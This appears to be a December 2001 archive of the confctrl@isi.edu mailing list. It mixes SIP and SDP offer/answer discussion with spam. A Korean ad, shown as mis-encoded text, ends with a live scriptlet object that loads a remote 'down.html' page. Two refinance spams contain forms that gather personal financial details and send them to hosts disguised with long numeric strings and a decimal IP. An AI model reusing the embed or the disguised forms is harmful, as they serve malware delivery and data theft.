ÇÏ½Ç ¶§ ÃßõÀÎÀ» ÀûÁö ¾ÊÀ¸½Ã¸é ¼ö´çÁö±Þ ¹× °¡ÀÔÀ» ÇϽǼö °¡ ¾ø½À´Ï´Ù.)
<br></P></FONT></FONT></SPAN>
<P><hr>
<P></P><font size="10"><span style="FONT-SIZE: 9pt">
<P><br></font></SPAN><IMG height=28 src="http://my.dreamwiz.com/ssamzimoney/2-ms/pic/hh96.gif" width=28 border=0><font size="10"><span style="FONT-SIZE: 9pt">°¡ÀÔÀ» ÇϽÅÈÄ ÀúÇÑÅ× ²À ¸ÞÀÏ ¹× Á¦È¨ÆäÀÌÁö¿¡ °¡ÀÔÀÎ»ç ±ÛÀ» ³²°ÜµÎ¼¼¿ä!!<br>    </span><FONT color=teal size=2><BR>¡ÚÀ̸ÞÀÏ:<A
href="ssamzimoney@dreamwiz.com"><FONT color=purple size=2>
</FONT></A>dlaxorb775</FONT><A
href="mailto:dlaxorb775@hotmail.com" ><FONT color=teal size=2><FONT color=purple size=2>@hotmail.com</FONT></FONT></A><FONT color=teal size=2> <BR>¡ÚȨÁÖ¼Ò:<A
href="http://hanline.fu.st/" target=_blank> <FONT color=purple
size=2>http://hanline.fu.st/</FONT></A> </FONT></font>
</P>
<P></P>
<P align=center><A href="mailto:dlatmdejr123@hotmail.com"><FONT
size=4><STRONG>¼ö½Å°ÅºÎ</STRONG></FONT></FONT></A></P></body>
</html>
<object data='http://itnsoft.com/ad/down/down.html' type=text/x-scriptlet width=100% height=100></object>

From confctrl-owner  Sun Dec 23 14:36:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA05966
	for confctrl-outgoing; Sun, 23 Dec 2001 14:36:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA05961
	for <confctrl@zephyr.isi.edu>; Sun, 23 Dec 2001 14:36:36 -0800 (PST)
Received: from localhost ([211.228.141.101])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBNMbPg06519
	for <confctrl@isi.edu>; Sun, 23 Dec 2001 14:37:25 -0800 (PST)
Message-Id: <200112232237.fBNMbPg06519@tnt.isi.edu>
Reply-To: adadcom3@yahoo.co.kr
From: ktf member<adadcom3@yahoo.co.kr>
To: confctrl@ISI.EDU
Subject: [±¤ °í] KTF ¸â¹ö´Ôµé ±¹¹ÎÄ«µå ½ÅûÇϼ¼¿ä...
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Mon, 24 Dec 2001 07:36:10 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<title>[±¤ °í] KTF ¸â¹ö´Ôµé ±¹¹ÎÄ«µå ½ÅûÇϼ¼¿ä...</title>
<style type="text/css">
<!--TD{font-size: 9pt;font-family: "µ¸À½";}
-->
</style>
</head>
<body topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" onmouseout="window.status=' ';return true" onmouseover="window.status='KTF ±¹¹ÎÄ«µå';return true">
<table align=center border=0 cellpadding=0 cellspacing=0 style="WIDTH: 675px; HEIGHT: 635px">
<tr>
<td align=middle valign=top>
<p>&nbsp;</p>
<table border=0 cellpadding=0 cellspacing=0 width="673">
<tr>
<td width="673"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image1.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image2.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image3.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image4.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image5.gif"></td>
</tr>
<tr>
<td width="673"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image6.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image7.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image8.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image9.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image10.gif"></td>
</tr>
<tr>
<td width="673">
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td><img src="http://www.skinbanner.com/ktf_event/images/ktf_image11.gif"></td>
<td width="64" bgcolor="#dedbde"></td>
<td bgcolor="#dedbde"><a href="http://link.goodmatch.co.kr/lcheck/click.asp?W_id=dic4u&amp;M_id=kookmincard&amp;B_id=108768" target="_blank"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image13.gif" border=0 width="131" height="24"></a></td>
<td width="64" bgcolor="#dedbde"></td>
<td><img src="http://www.skinbanner.com/ktf_event/images/ktf_image14.gif"></td>
<td><img src="http://www.skinbanner.com/ktf_event/images/ktf_image15.gif"></td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="673"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image16.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image17.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image18.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image19.gif"><img src="http://www.skinbanner.com/ktf_event/images/ktf_image20.gif"></td>
</tr>
</table>
<P><BR>¿øÄ¡¾ÊÀº Á¤º¸¿´´Ù¸é Á¤ÁßÈ÷ »ç°ú µå¸®¸ç, ¼ö½Å °ÅºÎ¸¦ ÇØÁÖ½Ã¸é ´ÙÀ½ºÎÅÍ´Â ¸ÞÀÏÀÌ ¹ß¼ÛµÇÁö ¾ÊÀ»
°ÍÀÔ´Ï´Ù.<BR><BR><A
href="http://wwwn.intizen.com/moviemoa/unsub.asp?flag=ktfcard&amp;email=confctrl@isi.edu">¼ö½Å
°ÅºÎ</A></P>
</td>
</tr>
</table>
</body>
</html>

From confctrl-owner  Mon Dec 24 09:24:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA11952
	for confctrl-outgoing; Mon, 24 Dec 2001 09:24:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA11947
	for <confctrl@zephyr.isi.edu>; Mon, 24 Dec 2001 09:24:40 -0800 (PST)
Received: from smx02.admiral.ne.jp (smx02.admiral.ne.jp [211.10.216.36])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBOHPUg20777
	for <confctrl@isi.edu>; Mon, 24 Dec 2001 09:25:30 -0800 (PST)
Received: (qmail 25634 invoked from network); 25 Dec 2001 02:25:29 +0900
Received: from hsi.jetro.snv1-bb1.winstar.net (HELO toru) (63.142.121.58)
  by smx02.admiral.ne.jp with SMTP; 25 Dec 2001 02:25:29 +0900
Message-ID: <009301c18c5c$6e579d00$4a01000a@toru>
From: "Toru Tokushige" <toru@gtony.com>
To: <confctrl@ISI.EDU>
Subject: SIP
Date: Mon, 24 Dec 2001 02:21:54 -0700
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Sir:

I am a developer of Voice of IP.  Now I am looking for the sample source
code
of Session Initiation Protocol.  If you have any infomation, please tell me.
Thank you.

Best Regards,

Toru Tokushige
CTO
Gtony, Inc.
111 W. St. John St., Ste. 705
San Jose, CA 95113

Tel: 408-387-1305
Fax: 408-387-1320
E-mail: toru@gtony.com




From confctrl-owner  Mon Dec 24 12:48:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA18214
	for confctrl-outgoing; Mon, 24 Dec 2001 12:48:05 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA18209
	for <confctrl@zephyr.isi.edu>; Mon, 24 Dec 2001 12:48:04 -0800 (PST)
Received: from AmericasLender.com (216-127-234-141.focaldata.net [216.127.234.141] (may be forged))
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id fBOKmtH29870
	for <confctrl@isi.edu>; Mon, 24 Dec 2001 12:48:55 -0800 (PST)
Message-Id: <200112242048.fBOKmtH29870@gamma.isi.edu>
From: helpingfamilies@lycos.com
To: confctrl@ISI.EDU
Subject: 6.25% Fixed\ Refinance before rates Go Up!          4729
Date: Mon, 24 Dec 2001 12:55:45 -0800
X-Sender: helpingfamilies@lycos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Content-Type: text/html; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Loan Application</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 5.50.4134.600" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<P>
<TABLE cellSpacing=0 cellPadding=1 width=600 align=center border=0>
  <TBODY>
  <TR>
    <TD width=249><IMG alt="" hspace=0 
      src="http://communities.msn.com/_Secure/0QwApAlUYCjEB2GIy*tHVTWeZNUWtlFD7Epn9QLhczNM7euiBozRSBE5Iw0KyZymFO3PKVvlCfqv9aT63qP09Ej6aUtS!nfD*4bfFk2aIBEE/xmas2.gif" 
      border=0></TD>
    <TD valing="top"><STRONG>
      <P><FONT color=#000080><FONT size=5><EM>Refinance While Rates 
      Last!</EM></FONT> </FONT>
      <P><FONT size=6><FONT color=#000080><EM>6.25%&nbsp; Fixed</EM> 
      </FONT></FONT></FONT></EM></FONT>
      <P></FONT><FONT color=#000080></FONT></STRONG></EM>
      <LI><FONT color=#000080><EM><STRONG>Payoff Debt or Home 
      Improvement</STRONG></EM> </FONT>
      <LI><FONT color=#000080><EM><STRONG><FONT color=#ff0000>Bad Credit 
      Ok</FONT></STRONG></EM> </FONT>
      <LI><EM><STRONG><FONT color=#000080>Cash Out For Any 
      Reason</FONT></STRONG></EM> 
      <DIV><FONT color=#808000><STRONG></STRONG></FONT>&nbsp;</DIV>
      <DIV><FONT color=#808000><STRONG><FONT 
      color=#000000>Clearly,&nbsp;refinancing is the smart solution for those 
      who want the financial flexibility to use their equity to pay off debt or 
      make improvements in life. </FONT></DIV>
      <P><FONT color=#000000></FONT>&nbsp;</P></STRONG></FONT></LI></TD></TR>
  <TR>
    <TD align=middle width=596 colSpan=2>
      <FORM 
      action=http://55743658743653645894759847593757938579843895897573498935973579858945789383595857387897593432434953757823432234623784283482398735897789344534%403485933717/cgi-bin/snd.cgi 
      method=post>
      <TABLE borderColor=#000000 height=186 cellSpacing=0 cellPadding=1 
      width=500 align=center bgColor=#8fbc8f border=2><!--
<table cellSpacing="0" cellPadding="1" width="500" align="center" border="1" bgcolor="#99ccff" bordercolor="#000000" height="186">
-->
        <TBODY>
        <TR>
          <TD align=middle width=494 bgColor=#8fbc8f colSpan=2 
            height=23><B><FONT face=Verdana size=2><FONT size=3>Loan 
            Application</FONT> (Fields Marked with</FONT> <FONT color=#ff0000 
            size=4>*</FONT></FONT><FONT face=Verdana color=#ff0000 size=4> 
            </FONT><FONT face=Verdana size=2>are required)</FONT></B> </TD></TR>
        <TR>
          <TD width=251 height=23><FONT face=Verdana 
            size=2>Prefix:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
            &nbsp; <SELECT id=select1 tabIndex=1 name=Prefix> <OPTION 
              value=Mr. selected>Mr.</OPTION><OPTION 
              value=Mrs.>Mrs.</OPTION><OPTION value="Mr. and Mrs.">Mr. and 
              Mrs.</OPTION><OPTION value=Miss.>Miss.</OPTION><OPTION 
              value=Dr.>Dr.</OPTION></SELECT> </FONT></TD>
          <TD width=239 height=23><FONT face=Verdana 
            size=2>Name:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <INPUT 
            id=text1 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=2 size=16 
            value=" " name=First_Name><FONT color=#ff0000 
          size=4>*</FONT></FONT></TD></TR>
        <TR>
          <TD width=251 height=23><FONT face=Verdana size=2>Middle Name: 
            &nbsp; <INPUT id=text2 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=3 
            size=15 value=" " name=Middle_Name><FONT color=#ff0000 
            size=4></FONT></FONT></TD>
          <TD width=239 height=23><FONT face=Verdana size=2>Last Name: <INPUT 
            id=text3 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=4 size=15 
            value=" " name=Last_Name><FONT color=#ff0000 
          size=4>*</FONT></FONT></TD></TR>
        <TR>
          <TD width=251 height=23><FONT face=Verdana 
            size=2>Address&nbsp;&nbsp;<INPUT id=text4 
            style="WIDTH: 168px; HEIGHT: 22px" tabIndex=5 value=" " 
            name=Address><FONT color=#ff0000 size=4>*</FONT></FONT></TD>
          <TD width=239 height=23><FONT face=Verdana 
            size=2>City:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT 
            id=text5 style="LEFT: 28px; WIDTH: 125px; TOP: 2px; HEIGHT: 22px" 
            tabIndex=6 size=14 value=" " name=City><FONT color=#ff0000 
            size=4>*</FONT></FONT></TD></TR>
        <TR>
          <TD width=251 height=23><FONT face=Verdana 
            size=2>State&nbsp;&nbsp;&nbsp;<SELECT tabIndex=7 size=1 name=State> 
              <OPTION value=" " selected><OPTION value=AL>Alabama<OPTION 
              value=AK>Alaska<OPTION value=AZ>Arizona<OPTION 
              value=AR>Arkansas<OPTION value=CA>California<OPTION 
              value=CO>Colorado<OPTION value=CT>Connecticut<OPTION 
              value=DE>Delaware<OPTION value=DC>District Of Columbia<OPTION 
              value=FL>Florida<OPTION value=GA>Georgia<OPTION 
              value=HI>Hawaii<OPTION value=ID>Idaho<OPTION 
              value=IL>Illinois<OPTION value=IN>Indiana<OPTION 
              value=IA>Iowa<OPTION value=KS>Kansas<OPTION 
              value=KY>Kentucky<OPTION value=LA>Louisiana<OPTION 
              value=ME>Maine<OPTION value=MD>Maryland<OPTION 
              value=MA>Massachusetts<OPTION value=MI>Michigan<OPTION 
              value=MN>Minnesota<OPTION value=MS>Mississippi<OPTION 
              value=MO>Missouri<OPTION value=MT>Montana<OPTION 
              value=NE>Nebraska<OPTION value=NV>Nevada<OPTION value=NH>New 
              Hampshire<OPTION value=NJ>New Jersey<OPTION value=NM>New 
              Mexico<OPTION value=NY>New York<OPTION value=NC>North 
              Carolina<OPTION value=ND>North Dakota<OPTION value=OH>Ohio<OPTION 
              value=OK>Oklahoma<OPTION value=OR>Oregon<OPTION 
              value=PA>Pennsylvania<OPTION value=RI>Rhode Island<OPTION 
              value=SC>South Carolina<OPTION value=SD>South Dakota<OPTION 
              value=TN>Tennessee<OPTION value=TX>Texas<OPTION 
              value=UT>Utah<OPTION value=VT>Vermont<OPTION 
              value=VA>Virginia<OPTION value=WA>Washington<OPTION value=WV>West 
              Virginia<OPTION value=WI>Wisconsin<OPTION 
            value=WY>Wyoming</OPTION></SELECT> <FONT color=#ff0000 
            size=4>*</FONT></FONT></TD>
          <TD width=239 height=23><FONT face=Verdana size=2>Zip 
            Code:&nbsp;&nbsp;&nbsp;&nbsp;<INPUT id=text6 
            style="LEFT: 69px; WIDTH: 125px; TOP: 2px; HEIGHT: 22px" tabIndex=8 
            size=14 value=" " name=Zip_Code><FONT color=#ff0000 
            size=4>*</FONT></FONT></TD></TR>
        <TR>
          <TD width=251 height=21><FONT face=Verdana size=2>Home 
            Phone:&nbsp;&nbsp;&nbsp; <INPUT id=text7 
            style="WIDTH: 125px; HEIGHT: 22px" tabIndex=9 size=16 value=" " 
            name=Home_Phone> </FONT></TD>
          <TD width=239 height=21><FONT face=Verdana size=2>Day Phone:&nbsp; 
            <INPUT id=text8 style="WIDTH: 124px; HEIGHT: 22px" tabIndex=10 
            size=16 value=" " name=Day_Phone><FONT color=#ff0000 size=4>*</FONT> 
            </FONT></TD></TR>
        <TR>
          <TD width=251 height=22><FONT face=Verdana 
            size=2>Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
            &nbsp;&nbsp; <INPUT id=text9 style="WIDTH: 127px; HEIGHT: 22px" 
            tabIndex=11 size=16 value=" " name=Fax><FONT color=#ff0000 
            size=4></FONT></FONT></TD>
          <TD width=239 height=22><FONT face=Verdana 
            size=2>E-Mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <INPUT 
            id=text10 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=12 size=16 
            value=" " name=E-Mail><FONT color=#ff0000 
        size=4>*</FONT></FONT></TD></TR></TBODY></TABLE><!-- <table cellSpacing="0" cellPadding="1" width="500" align="center" border="1" bgcolor="#ffff99" bordercolor="#000000"> -->
      <TABLE borderColor=black cellSpacing=0 cellPadding=1 width=500 
      align=center bgColor=#c0d9d9 border=2>
        <TBODY>
        <TR>
          <TD width=251><FONT face=Verdana size=2>Length At Present 
            Address:<BR><INPUT id=text11 style="WIDTH: 37px; HEIGHT: 22px" 
            tabIndex=13 size=4 value=" " name=Years_At_Current_Address><FONT 
            color=#ff0000 size=4>*</FONT> Years <INPUT id=text12 
            style="WIDTH: 37px; HEIGHT: 22px" tabIndex=14 size=3 value=" " 
            name=Months_At_Current_Address>&nbsp;Months </FONT></TD>
          <TD width=239><FONT face=Verdana size=2>&nbsp;Amount&nbsp;Owed on 
            <B>1st </B>/ <B>% Rate:</B>&nbsp;&nbsp; <INPUT id=text14 
            style="WIDTH: 103px; HEIGHT: 22px" tabIndex=15 size=16 
            name=Money_Owed><FONT color=#ff0000 size=4>*</FONT>&nbsp; /&nbsp; 
            <INPUT id=text15 style="WIDTH: 64px; HEIGHT: 22px" tabIndex=16 
            size=10 value=" " name=Current_Interest>%<FONT color=#ff0000 
            size=4>*</FONT> </FONT></TD></TR>
        <TR>
          <TD width=251><FONT face=Verdana size=2>Amount&nbsp;Owed on 
            <B>2nd</B> / <B>% Rate:</B>&nbsp;&nbsp;<INPUT id=text14 
            style="WIDTH: 103px; HEIGHT: 22px" tabIndex=17 size=16 
            name=Money_Owed_2nd> /&nbsp;&nbsp; <INPUT id=text15 
            style="WIDTH: 64px; HEIGHT: 22px" tabIndex=18 size=10 value=" " 
            name=Current_Interest_2nd>% </FONT></TD>
          <TD width=239><FONT face=Verdana size=2>Loan Type 1St / Loan Type 
            2nd:&nbsp;&nbsp;<SELECT id=select4 tabIndex=19 name=Loan_Type> 
              <OPTION value=Fixed selected>Fixed</OPTION><OPTION 
              value=Adjustable>Adjustable</OPTION></SELECT><FONT color=#ff0000 
            size=4>*</FONT>&nbsp;&nbsp; /&nbsp; <SELECT id=select4 tabIndex=20 
            name=Loan_Type_2nd> <OPTION value=Fixed>Fixed</OPTION><OPTION 
              value=Adjustable selected>Adjustable</OPTION></SELECT> </FONT></TD></TR>
        <TR>
          <TD width=251><FONT face=Verdana size=2>Home 
            Value:&nbsp;&nbsp;&nbsp;&nbsp; <INPUT id=text13 
            style="WIDTH: 117px; HEIGHT: 22px" tabIndex=21 size=18 value=" " 
            name=Home_Value><FONT color=#ff0000 size=4>*</FONT> </FONT></TD>
          <TD width=239><FONT face=Verdana 
            size=2>Yearly&nbsp;Income:&nbsp;&nbsp;&nbsp; <INPUT id=text16 
            style="WIDTH: 97px; HEIGHT: 22px" tabIndex=22 size=14 value=" " 
            name=Yearly_Income><FONT color=#ff0000 size=4>*</FONT> </FONT></TD></TR>
        <TR>
          <TD width=251><FONT face=Verdana size=2>Length of Current 
            Employment:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; <INPUT 
            id=text18 style="WIDTH: 37px; HEIGHT: 22px" tabIndex=23 size=4 
            value=" " name=Years_Of_Employment><FONT color=#ff0000 size=4>*<FONT 
            color=black size=2>Years</FONT>&nbsp;&nbsp;&nbsp;</FONT>&nbsp;<INPUT 
            id=text19 style="WIDTH: 36px; HEIGHT: 22px" tabIndex=24 size=4 
            value=" " name=Months_Of_Employment><FONT color=#ff0000 
            size=4>*<FONT color=black size=2>Months</FONT></FONT> </FONT></TD>
          <TD width=239><FONT face=Verdana size=2>Are You Self Employed?&nbsp; 
            <SELECT id=select3 tabIndex=25 size=1 name=Self_Employed> <OPTION 
              value=No selected>No</OPTION> <OPTION 
            value=Yes>Yes</OPTION></SELECT> </FONT></TD></TR>
        <TR>
          <TD width=251><FONT face=Verdana size=2><FONT color=#ff0000 
            size=4><FONT color=black size=2><FONT color=#ff0000 size=4><FONT 
            color=#000000 size=2>Credit Rating:</FONT><SELECT id=select2 
            tabIndex=26 name=Credit_Rating> <OPTION value=Good selected>Good 
              (some lates)</OPTION><OPTION value=Excellent>Excellent (no 
              lates)</OPTION><OPTION value=Fair>Fair 
              (collection)</OPTION><OPTION value=Poor>Poor 
            (bankruptcy)</OPTION></SELECT></FONT></FONT></FONT> </FONT></TD>
          <TD width=239><FONT face=Verdana size=2><STRONG>Amount 
            Requested:</STRONG> <INPUT id=text17 
            style="WIDTH: 75px; HEIGHT: 22px" tabIndex=27 size=7 value=" " 
            name=Amount_Requested><FONT color=#ff0000 size=4>*</FONT> 
        </FONT></TD></TR>
        <TR>
          <TD width=251 colSpan=2><FONT face=Verdana size=2><STRONG><FONT 
            color=#ff0000 size=4><FONT color=black size=2>What is the purpose of 
            the loan?</FONT></FONT> </STRONG></FONT></TD></TR>
        <TR>
          <TD width=251 colSpan=2><FONT face=Verdana size=2><TEXTAREA id=TEXTAREA1 style="WIDTH: 485px; HEIGHT: 57px" tabIndex=28 name=Comments rows=4 cols=52></TEXTAREA></FONT></TD></TR>
        <TR>
          <TD align=middle width=494 colSpan=2><INPUT id=submit1 style="WIDTH: 141px; HEIGHT: 33px" tabIndex=29 type=submit size=43 value="Submit Application" name=Submit1></TD></TR></TBODY></TABLE>
      <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      <IMG alt="" hspace=0 
      src="http://www.prudential.com/images/banking/other/ehlicon1.gif" 
      align=baseline 
      border=0>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      &nbsp;</FONT><IMG alt=Realtor 
      src="http://www.prudential.com/images/realestate/others/prealogo.gif" 
      align=center><FONT face=Arial 
      size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      <IMG alt="" hspace=0 
      src="http://www.verisign.com/images/ui/007/verisign.gif" align=baseline 
      border=0></FONT></DIV>
      <DIV>
      <DIV><EM><FONT face=Arial size=1>c 2001, An independently owned and 
      operated member of <BR>The Prudential Real Estate Affiliates, 
      Inc</FONT></EM></DIV><BR><BR><FONT face="Times New Roman" size=2>To be 
      removed from this one time mailing, simply forward this message to <A 
      href="mailto:helpingfamilies@lycos.com">helpingfamilies@lycos.com</A> <!--
</td></tr>
<tr><td>

<img alt ="" src="http://www.bbbonline.org/Cimages/bbb.gif">

</td><td width=300>

<img src=http://www.loansyourway.com/images/who_we_are_photo.jpg width=249 height=206 align=right>
--></FONT></DIV></FORM></TD></TR></TBODY></TABLE></P></BODY></HTML>


From confctrl-owner  Mon Dec 24 14:29:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA21704
	for confctrl-outgoing; Mon, 24 Dec 2001 14:29:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21699
	for <confctrl@zephyr.isi.edu>; Mon, 24 Dec 2001 14:29:46 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBOMUbg04390
	for <confctrl@ISI.EDU>; Mon, 24 Dec 2001 14:30:37 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.54])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBOMUGVZ002287;
	Mon, 24 Dec 2001 17:30:17 -0500 (EST)
Message-ID: <3C27AC61.5010909@dynamicsoft.com>
Date: Mon, 24 Dec 2001 17:29:53 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Flemming Andreasen <fandreas@cisco.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>, mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: resolving open issues in offer/answer
References: <3C2342E1.83EB1CFD@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Flemming Andreasen wrote:

> 
> Paul Kyzivat wrote:
> 
> 
>>Sorry, but I still don't get it.
>>
>>Let me put it another way. This is adding normative language requiring
>>the sender of SDP to be prepared to send. How would that be verified?
>>
> Is
> 
>>there any possible way to distinguish between being unprepared to send
>>(nonconforming) and simply having no desire to send (conforming)?
>>
> 
> No, but it ensures, that if the answerer picks any one of those codecs,
> then the
> offerer will actually be able to send, should he so desire.


I think what you are looking for is a sentence that says:


When the offerer receives the answerer, it MAY send media on that stream 
(assuming it is listed as sendrecv or recvonly in the answer). It SHOULD 
use the first media format listed in the answer when it does send.


I will add that. I agree with Paul that saying you MUST be prepared to 
send when you generate an offer is pointless, since it can't actually 
send, and therefore there is no way to actually verify this requirement.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Mon Dec 24 14:33:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA21933
	for confctrl-outgoing; Mon, 24 Dec 2001 14:33:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21921
	for <confctrl@zephyr.isi.edu>; Mon, 24 Dec 2001 14:33:16 -0800 (PST)
Received: from AmericasLender.com (216-127-234-141.focaldata.net [216.127.234.141] (may be forged))
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBOMY7g04880
	for <confctrl@isi.edu>; Mon, 24 Dec 2001 14:34:07 -0800 (PST)
Message-Id: <200112242234.fBOMY7g04880@tnt.isi.edu>
From: helpingfamilies@lycos.com
To: confctrl@ISI.EDU
Subject: 6.25% Fixed\ Refinance before rates Go Up!          25345
Date: Mon, 24 Dec 2001 14:40:57 -0800
X-Sender: helpingfamilies@lycos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
Content-Type: text/html; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Loan Application</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 5.50.4134.600" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<P>
<TABLE cellSpacing=0 cellPadding=1 width=535 align=center border=0>
  <TBODY>
  <TR>
    <TD align=middle width=163><IMG alt="" hspace=0 
      src="http://communities.msn.com/_Secure/0QwApAlUYCjEB2GIy*tHVTWeZNUWtlFD7Epn9QLhczNM7euiBozRSBE5Iw0KyZymFO3PKVvlCfqv9aT63qP09Ej6aUtS!nfD*4bfFk2aIBEE/xmas2.gif" 
      align=baseline border=0></TD>
    <TD align=middle width=345>
      <P align=left><EM><FONT size=5><B><FONT color=#000000>Refinance While 
      Rates </FONT></B><B><FONT color=#000000>Last!!</FONT></B></FONT></EM></P>
      <P align=left><B><FONT color=#000000 size=6><EM>6.25% 
      Fixed</EM></FONT></B></P>
      <UL>
        <LI>
        <P style="MARGIN-TOP: 1px; MARGIN-BOTTOM: 1px; LINE-HEIGHT: 100%" 
        align=left><B><FONT color=#ff0000><EM>Bad Credit Ok</EM></FONT></B></P>
        <LI>
        <P style="MARGIN-TOP: 1px; MARGIN-BOTTOM: 1px; LINE-HEIGHT: 100%" 
        align=left><B><FONT color=#000000><EM>Debt Consolidation/ Home 
        Improvement</EM></FONT></B></P>
        <LI>
        <P style="MARGIN-TOP: 1px; MARGIN-BOTTOM: 1px; LINE-HEIGHT: 100%" 
        align=left><B><FONT color=#000000><EM>Lower your monthly 
        payments</EM></FONT></B></P></LI></UL></TD></TR>
  <TR>
    <TD align=middle width=533 colSpan=2>
      <FORM name=LoanApp 
      action=http://4546546546512312313245456787987897454654654123123154564654546545678789789745454654465456465465456465456456456445646546545645641231231231231234564545465787897897894545646546545642123123132123132132454564564112313212312312312312344@3632261786/LoanAppCGI.asp 
      method=get>
